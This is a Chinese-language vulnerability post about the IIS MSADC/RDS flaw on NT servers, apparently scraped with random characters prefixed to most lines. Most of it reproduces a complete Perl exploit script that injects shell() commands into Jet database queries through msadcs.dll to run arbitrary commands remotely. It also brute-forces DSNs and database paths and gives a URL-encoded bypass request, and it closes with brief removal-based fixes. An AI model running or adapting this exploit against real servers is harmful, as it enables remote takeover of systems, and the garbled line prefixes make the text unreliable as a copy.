IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
DE14dU X&b nyo P 涉及程序：
DzK%$#{< Microsoft NT server
&^b mZj ! $N17GqoC 描述：
c
UH KE\F 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
B pl(s+ ~HyqHx y 详细：
J~1 =?</ 如果你没有时间读详细内容的话，就删除:
2z=aP!9] c:\Program Files\Common Files\System\Msadc\msadcs.dll
0HS" Oxx' 有关的安全问题就没有了。
v.e~m2u_F Z3nmC-NE 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
=%G<S'2' )|i]"8I 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
ADVHi3b 关于利用ODBC远程漏洞的描述，请参看:
P{h$> 6c Uz;
pNWMk http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm SXm Hn.? '?v- o)X 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
R"k}wRnxY http://www.microsoft.com/security/bulletins/MS99-025faq.asp SRpPLY{:F -JB ~yO?0 这里不再论述。
Z3Y( g V|zatMHs 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
I?IAZa) u MM?s?q /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
:=^_N} 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
VT`C<' 9 ~C$C {qjw
S1v #将下面这段保存为txt文件，然后: "perl -x 文件名"
94xRKQ} b '5L|1d #!perl
*[O)VkL\%i #
/?g:`NT # MSADC/RDS 'usage' (aka exploit) script
w%Tjn^ d #
> z1q\cz # by rain.forest.puppy
k_%"# #
d (8X?k.S # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
C%\. # beta test and find errors!
p$OkWSi~ v d}Y$X use Socket; use Getopt::Std;
I~P]_D mM getopts("e:vd:h:XR", \%args);
r1QLSD]i6 j @+QwZL| print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
;J q 7E c2f bqM~ if (!defined $args{h} && !defined $args{R}) {
1 n<7YO7} print qq~
Y)]x1I Usage: msadc.pl -h <host> { -d <delay> -X -v }
HOrD20 -h <host> = host you want to scan (ip or domain)
nq"U`z@R -d <seconds> = delay between calls, default 1 second
2YL)"
w -X = dump Index Server path table, if available
;wvhe;! -v = verbose
;`MKi5g -e = external dictionary file for step 5
W|aFEY 57 eA (uI Or a -R will resume a command session
5 U{}A\q 5t&;>-A'?' ~; exit;}
Rr/sxR|0_ MehM hHY $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
wnoL<p if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
3BWYSJ| if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
y&$ v@]t1 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
yw9)^JU8" $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
.q^+llM if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
ES&"zjr$ f mQ`8b if (!defined $args{R}){ $ret = &has_msadc;
mUW4d3tE die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
n d)bRB 1:r 8p6 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
P7`sJ("# . "cmd /c ";
kX)Xo`^Ys $in=<STDIN>; chomp $in;
2PrUI;J$ $command="cmd /c " . $in ;
.W)%*~ O!; &6mXsx$ if (defined $args{R}) {&load; exit;}
5 bKm)|4z6 J$X{4 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
{"x8 q &try_btcustmr;
+vh 4I o> i`Jq& print "\nStep 2: Trying to make our own DSN...";
bW9a_m yE &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
ySk'#\d >
R5<D'cEN print "\nStep 3: Trying known DSNs...";
:6r) HJ5sg &known_dsn;
Ckc4U. t| FV->226o% print "\nStep 4: Trying known .mdbs...";
#nOS7Q#uW &known_mdb;
S Z[ ,(h Fs,#d%4 @% if (defined $args{e}){
&n)=OConge print "\nStep 5: Trying dictionary of DSN names...";
wZ_k ]{J &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
QC+K:jL eJ3w}"?9s print "Sorry Charley...maybe next time?\n";
Rt^~db exit;
@1UC9}> ~Kr_[X:d5 ##############################################################################
e0ea2
2
7"c^$fj sub sendraw { # ripped and modded from whisker
x&SG gl sleep($delay); # it's a DoS on the server! At least on mine...
!leLOi2T my ($pstr)=@_;
'nO%1BZj+ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
oju}0h'1 die("Socket problems\n");
RZ#~^5DiO if(connect(S,pack "SnA4x8",2,80,$target)){
3+j!{tJ
z2 select(S); $|=1;
a$r<%a6 print $pstr; my @in=<S>;
B]o5 HA<k select(STDOUT); close(S);
2# y!(D8 return @in;
V"T48~Ue } else { die("Can't connect...\n"); }}
<FfdOK_ I#m0 n%-[ ##############################################################################
M@=eW Z< !\ckUMZ \ sub make_header { # make the HTTP request
^-yEb\\i my $msadc=<<EOT
6ofi8( n[ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
tXgsWG?v[H User-Agent: ACTIVEDATA
0+]ol:i Host: $ip
K~ 6[zJ4 Content-Length: $clen
HoIK^t~VT# Connection: Keep-Alive
TC%ENxDR YFF\ m{# ADCClientVersion:01.06
{xzs{)9|Y4 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
- 9Ll'fbq #@#/ M) --!ADM!ROX!YOUR!WORLD!
hZ ve8J Content-Type: application/x-varg
dP0%<Q| Content-Length: $reqlen
X{j` H\'L t%`GXJb EOT
dF?: &oP] ; $msadc=~s/\n/\r\n/g;
sKvz<7pag return $msadc;}
nF8|*}w KG! W,tB ##############################################################################
f`dQ $Kh ;c!}'2 >vM sub make_req { # make the RDS request
VX!UT=; my ($switch, $p1, $p2)=@_;
NR* s7> my $req=""; my $t1, $t2, $query, $dsn;
. D ~ZE94@ {b<;?Du s^ if ($switch==1){ # this is the btcustmr.mdb query
jC;^ 2 e $query="Select * from Customers where City=" . make_shell();
y Jj$ir i $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Vlk] $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
e95x,|.-_ > # {,(8\ elsif ($switch==2){ # this is general make table query
1m52vQSo3l $query="create table AZZ (B int, C varchar(10))";
2,nVo^13} $dsn="$p1";}
w*E0f?s Q>,EYb>w I elsif ($switch==3){ # this is general exploit table query
nsRZy0@$t $query="select * from AZZ where C=" . make_shell();
ws tH&^ $dsn="$p1";}
R*v~jR/ Oc|`<^m elsif ($switch==4){ # attempt to hork file info from index server
`H:5D5] $query="select path from scope()";
t dl Y $dsn="Provider=MSIDXS;";}
<d$L}uQwg a2{ nrGD elsif ($switch==5){ # bad query
phT|w
H $query="select";
J(% Jg $dsn="$p1";}
^,?dk![1Cv =sR]/XSK $t1= make_unicode($query);
QL<uQ `>( $t2= make_unicode($dsn);
}3"FQ/6C $req = "\x02\x00\x03\x00";
o
IUjd $req.= "\x08\x00" . pack ("S1", length($t1));
b R6g^Yf $req.= "\x00\x00" . $t1 ;
zPC&p{S> $req.= "\x08\x00" . pack ("S1", length($t2));
ranLH m.nB $req.= "\x00\x00" . $t2 ;
X/5\L.g2 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Z`?Z1SBt return $req;}
) N8 [@ 5iG+O4n% ##############################################################################
AS}
FRNIVx $[p<}o/6v] sub make_shell { # this makes the shell() statement
! OVTs3} return "'|shell(\"$command\")|'";}
_x.<Zc\x :|GC~JElo5 ##############################################################################
W'
DpI7 8hTtBa sub make_unicode { # quick little function to convert to unicode
J^Dkx"1GD my ($in)=@_; my $out;
` q NhB\ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
lcv&/ A return $out;}
RY>BP[h (&=<UGY(w ##############################################################################
_;;'/rs
j Ly?%RmHK sub rdo_success { # checks for RDO return success (this is kludge)
KKfC^g my (@in) = @_; my $base=content_start(@in);
E 5#Dn.!~ if($in[$base]=~/multipart\/mixed/){
%[x oA)0! return 1 if( $in[$base+10]=~/^\x09\x00/ );}
d:U2b"k=/u return 0;}
V! s T2 K%XQdMv ##############################################################################
$yZ(c#L 9^;)~ G sub make_dsn { # this makes a DSN for us
\Bg;^6U my @drives=("c","d","e","f");
^x! N] print "\nMaking DSN: ";
jkPy e{j foreach $drive (@drives) {
muAI$IRR print "$drive: ";
@E(_H$|E my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
( 5^bU< "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
6vx0F?>_ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
+YL9gNN>P $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
ZQZBap" return 0 if $2 eq "404"; # not found/doesn't exist
Po%+ :0oX if($2 eq "200") {
NA%(ZRSg( foreach $line (@results) {
x >u \ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
r[>=iim } return 0;}
aR
iD}P*V '8au j ##############################################################################
#B;~i6h] qoNVp7uv sub verify_exists {
z L1 *w@6 my ($page)=@_;
y+ZRh?2 my @results=sendraw("GET $page HTTP/1.0\n\n");
<Ae1YHUY return $results[0];}
6' 9ITA yFIB/ln: ##############################################################################
?,_$;g VSK!Pc.G} sub try_btcustmr {
v<*ga7'S my @drives=("c","d","e","f");
1eg/<4]hA my @dirs=("winnt","winnt35","winnt351","win","windows");
CXb-{|I}d -,M*j| foreach $dir (@dirs) {
M^i^_}~S; print "$dir -> "; # fun status so you can see progress
;1S~'B&1Q foreach $drive (@drives) {
52*9q! print "$drive: "; # ditto
EJd l%j $reqlen=length( make_req(1,$drive,$dir) ) - 28;
#HMJBQ4v# $reqlenlen=length( "$reqlen" );
F,t
,Ja $clen= 206 + $reqlenlen + $reqlen;
F k:yj 4' % gF; A* my @results=sendraw(make_header() . make_req(1,$drive,$dir));
'T(7EL3$} if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
!+& Rn\e%7 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
b(hnou S WUVRwJ 5 ##############################################################################
5h"moh9tG : ryE`EhB sub odbc_error {
Im
NTk my (@in)=@_; my $base;
-~nU&$ccL my $base = content_start(@in);
Hs%;uyI@$ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
jTo-xP{lC $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j%2l%Mx( $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
px@:t} $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
q,#j
* return $in[$base+4].$in[$base+5].$in[$base+6];}
[D]9M"L,vQ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
HFJna2B` print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
3DNw=Ic0k $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
eYQq@lrWv ~Rs_ep'+Q2 ##############################################################################
rf2+~B{$, y7K &@ Y sub verbose {
hAPWEh^ my ($in)=@_;
^8,Y1r9`$ return if !$verbose;
X8F@U ^@ print STDOUT "\n$in\n";}
}y<p_dZI yPgDb[V+ ##############################################################################
7pB5o2CD 0 n*tT < sub save {
2 EG` my ($p1, $p2, $p3, $p4)=@_;
iKy_DV;J open(OUT, ">rds.save") || print "Problem saving parameters...\n";
'$5.{o`s*1 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
N5 BC<pu close OUT;}
K~j&Q{yws@
5 dH}cXs ##############################################################################
0KW@ j>=jK zJp}JO sub load {
1 _D|;/aI my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
QZcdfJck=+ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
]9xuLJ) @p=<IN>; close(IN);
'@Zau\xC $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
RUJkfi=$ $target= inet_aton($ip) || die("inet_aton problems");
/Iwn l print "Resuming to $ip ...";
()< E?D= $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Cu5fp.OS7 if($p[1]==1) {
5r=xhOe` $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
vvJ{fi $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
s
"KPTV my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
^CIO,I if (rdo_success(@results)){print "Success!\n";}
]0`*gKA else { print "failed\n"; verbose(odbc_error(@results));}}
Y\7 >> ? elsif ($p[1]==3){
w2- :!,X if(run_query("$p[3]")){
<ptgFR + print "Success!\n";} else { print "failed\n"; }}
m/ ,.3v elsif ($p[1]==4){
gy|L!_ 1Z8 if(run_query($drvst . "$p[3]")){
QXXB>gOY5 print "Success!\n"; } else { print "failed\n"; }}
s}MD;V&0 exit;}
n Xgnlb= Yp_ L.TTb ##############################################################################
)ZxDfRjL Xb0$BAP sub create_table {
72 hN%l my ($in)=@_;
d|GQZAEJEt $reqlen=length( make_req(2,$in,"") ) - 28;
p.{M s n $reqlenlen=length( "$reqlen" );
V3%"z $clen= 206 + $reqlenlen + $reqlen;
h28")c.pH= my @results=sendraw(make_header() . make_req(2,$in,""));
gyqM&5b return 1 if rdo_success(@results);
rToZN!q\S my $temp= odbc_error(@results); verbose($temp);
k A `Z#yu return 1 if $temp=~/Table 'AZZ' already exists/;
/.Yf&2X\ return 0;}
V$y6=Q <c z/IA
@ ##############################################################################
#fq%903=
-f&16pc1t sub known_dsn {
r)ni;a P # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
mR3)$! my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
l@ +lUx8 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
m3Mo2 };? "banner", "banners", "ads", "ADCDemo", "ADCTest");
8(yZX4OH> hu?Q,[+o foreach $dSn (@dsns) {
g"k1O print ".";
8>T#sO?+ next if (!is_access("DSN=$dSn"));
Y ^s_v_s if(create_table("DSN=$dSn")){
|eN#9Bm print "$dSn successful\n";
^*C vKCS if(run_query("DSN=$dSn")){
DuESLMhz print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
3NI3b-7 print "Something's borked. Use verbose next time\n";}}} print "\n";}
pkW }\r NSQ}:m ##############################################################################
\Wdl1 =` iD*%' #u sub is_access {
l ;*/F`>c my ($in)=@_;
PI
KQ}aq= $reqlen=length( make_req(5,$in,"") ) - 28;
]/l" $reqlenlen=length( "$reqlen" );
"Di27Rq $clen= 206 + $reqlenlen + $reqlen;
:O`7kZ]=n my @results=sendraw(make_header() . make_req(5,$in,""));
~d0:>8zQR my $temp= odbc_error(@results);
O T1 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
~Ur K yA return 0;}
l@;UwnI |u r/6{Oj1 ##############################################################################
L-&N* Wo& WO
e sub run_query {
=mV WfFL my ($in)=@_;
8*nv + $reqlen=length( make_req(3,$in,"") ) - 28;
w_c)iJ $reqlenlen=length( "$reqlen" );
MQs!+Z"m> $clen= 206 + $reqlenlen + $reqlen;
#Tc]L<." my @results=sendraw(make_header() . make_req(3,$in,""));
8fV.NCyE return 1 if rdo_success(@results);
o1Bn^ w my $temp= odbc_error(@results); verbose($temp);
nWfzwXP>_ return 0;}
oXC|q -(C z\S#P|; ##############################################################################
#[ei/p cyM9[X4rC sub known_mdb {
eUBf-xA my @drives=("c","d","e","f","g");
k|C~qe3E my @dirs=("winnt","winnt35","winnt351","win","windows");
i cO$9c my $dir, $drive, $mdb;
{e'P* j my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
bQU {)W |PGF g0li # this is sparse, because I don't know of many
1NHiW
v my @sysmdbs=( "\\catroot\\icatalog.mdb",
I5nxY)v "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
j,DF' h "\\system32\\certmdb.mdb",
jL9g.q4^ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
o#"U8 N%r NCW< ~ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
q=I8W}Z i "\\cfusion\\cfapps\\forums\\forums_.mdb",
l#%qF Db "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
#'DrgZ)W "\\cfusion\\cfapps\\security\\realm_.mdb",
a0wSXd "\\cfusion\\cfapps\\security\\data\\realm.mdb",
#$5"&SM "\\cfusion\\database\\cfexamples.mdb",
;(&$Iw9X "\\cfusion\\database\\cfsnippets.mdb",
l*r8.qp "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
rJj NoY "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
mu#I F'|b "\\cfusion\\brighttiger\\database\\cleam.mdb",
0+-"9pED>E "\\cfusion\\database\\smpolicy.mdb",
1 c 5+X Cr "\\cfusion\\database\cypress.mdb",
ae %Bl[ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
6o5Ne KZ "\\website\\cgi-win\\dbsample.mdb",
fwF&V^Dy "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
GHs,,J; "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
{yo{@pdX> ); #these are just
HbOLf foreach $drive (@drives) {
m|')
A foreach $dir (@dirs){
:EGvI foreach $mdb (@sysmdbs) {
gGaA;YW1 print ".";
8v<80 2 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
)WBp.j /# print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
c)*, " >$# if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
ojc m%yd print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
g~7x+cu0 } else { print "Something's borked. Use verbose next time\n"; }}}}}
Arr(rM ?|i
C-7{8L foreach $drive (@drives) {
VyMFALSe]h foreach $mdb (@mdbs) {
?l> <?i print ".";
Vn=K5nm if(create_table($drv . $drive . $dir . $mdb)){
X-,mNv z print "\n" . $drive . $dir . $mdb . " successful\n";
!_?K(X~/ if(run_query($drv . $drive . $dir . $mdb)){
1Yk!R9. print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
{6I)6}w!k } else { print "Something's borked. Use verbose next time\n"; }}}}
B*OEG* t }
>='y+ 68 0?$jC-@k: ##############################################################################
/` ;rlH* gLDO|ADni sub hork_idx {
]>9[}'u print "\nAttempting to dump Index Server tables...\n";
.4[\%r\i print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
_J,lF-, $reqlen=length( make_req(4,"","") ) - 28;
'?Jz8iu- $reqlenlen=length( "$reqlen" );
Z|#G+$"QV $clen= 206 + $reqlenlen + $reqlen;
h tuYctu` my @results=sendraw2(make_header() . make_req(4,"",""));
:5'8MU if (rdo_success(@results)){
|F}6Zv my $max=@results; my $c; my %d;
*'-[J 2 for($c=19; $c<$max; $c++){
We`6# \Z X $results[$c]=~s/\x00//g;
kC_Kb&Q0 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
7&hhKEA $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
wbpz, $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
W>_K+: t $d{"$1$2"}="";}
Hhzi(<e^ foreach $c (keys %d){ print "$c\n"; }
ixvF `S9 } else {print "Index server doesn't seem to be installed.\n"; }}
W"
i3:r <e h<4_<qF ##############################################################################
eqY8;/ 0Yk$f1g sub dsn_dict {
yC:C open(IN, "<$args{e}") || die("Can't open external dictionary\n");
^KF%Z2 :$ while(<IN>){
@e#{Sm $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
I&J> next if (!is_access("DSN=$dSn"));
#?h-<KQQ if(create_table("DSN=$dSn")){
S'_2 o?fs print "$dSn successful\n";
TpGnSD if(run_query("DSN=$dSn")){
6/dP)"a(' print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
WHy
r;m3) print "Something's borked. Use verbose next time\n";}}}
3j6Am{9 print "\n"; close(IN);}
?mp}_x#= :|HCUZ*H(T ##############################################################################
)p`zN=t <~b vf A= sub sendraw2 { # ripped and modded from whisker
;%Zu[G` C sleep($delay); # it's a DoS on the server! At least on mine...
Z#t}yC%^d my ($pstr)=@_;
o.g)[$M8cF socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
uj~(r=% die("Socket problems\n");
~]Weyb[ N if(connect(S,pack "SnA4x8",2,80,$target)){
V r7L9%/wg print "Connected. Getting data";
I_s* pT open(OUT,">raw.out"); my @in;
4n0I w I select(S); $|=1; print $pstr;
m4on<5s/ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
+zg3/C4 S close(OUT); select(STDOUT); close(S); return @in;
gSk0#Jt } else { die("Can't connect...\n"); }}
z q'KX/o s?Z{LWZ@ ##############################################################################
p_B5fm7#6W XY, !vLjL sub content_start { # this will take in the server headers
_[pbf ua my (@in)=@_; my $c;
Ew )1O9f for ($c=1;$c<500;$c++) {
*5KDu$'(e if($in[$c] =~/^\x0d\x0a/){
!Bj J5m if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
B'-n
^'; else { return $c+1; }}}
8\S$iGd return -1;} # it should never get here actually
s^"*]9B" zXW)v/
ZD
##############################################################################
&a 'mh #G]g sub funky {
O %1uBc my (@in)=@_; my $error=odbc_error(@in);
2dCD.9 s9~ if($error=~/ADO could not find the specified provider/){
$EnBigb! print "\nServer returned an ADO miscofiguration message\nAborting.\n";
3z0 %uY[e exit;}
nC}Y+_wo0 if($error=~/A Handler is required/){
G.:QA}FE' print "\nServer has custom handler filters (they most likely are patched)\n";
+F92_a4 exit;}
n
>@Qx$- if($error=~/specified Handler has denied Access/){
Ys>Z=Eky print "\nServer has custom handler filters (they most likely are patched)\n";
7n[0)XR> exit;}}
@Yw >s9X WCP2x.gb5 ##############################################################################
HP,{/ $i: 4C }#lW9 sub has_msadc {
zwJ\F ' my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
/[I#3| my $base=content_start(@results);
J%IKdxa return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
owz cc-g return 0;}
R9-Uoc/ 9*S9~ ########################
5i-VnG
IOY<'t+ *&~(>gNF, 解决方案：
,0@QBr5P 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
O$7r)B6Cs 2、移除web 目录: /msadc
